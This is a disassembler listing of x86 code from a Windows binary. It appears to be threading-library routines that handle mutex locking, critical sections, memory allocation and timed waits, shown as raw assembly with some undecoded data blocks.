loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 3FE82046h, 900231F8h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0EC80E850h
		dd 50900235h, 9050D3FFh, 32EA43E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32F192E8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	near ptr 2750AE7h
		nop
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447700
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447700, eax
		mov	dword ptr [esi+8], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447700
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447700, edx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 27509A0h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 2770748h
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2780D58h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27806D0h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27606A9h
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EA5FE890h
		dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2770586h
		nop
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27606A9h
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E927E890h
		dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		nop
		call	near ptr 277089Dh
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 277089Dh
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 277089Dh
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2770586h
		nop
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		call	near ptr 277089Dh
		nop
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
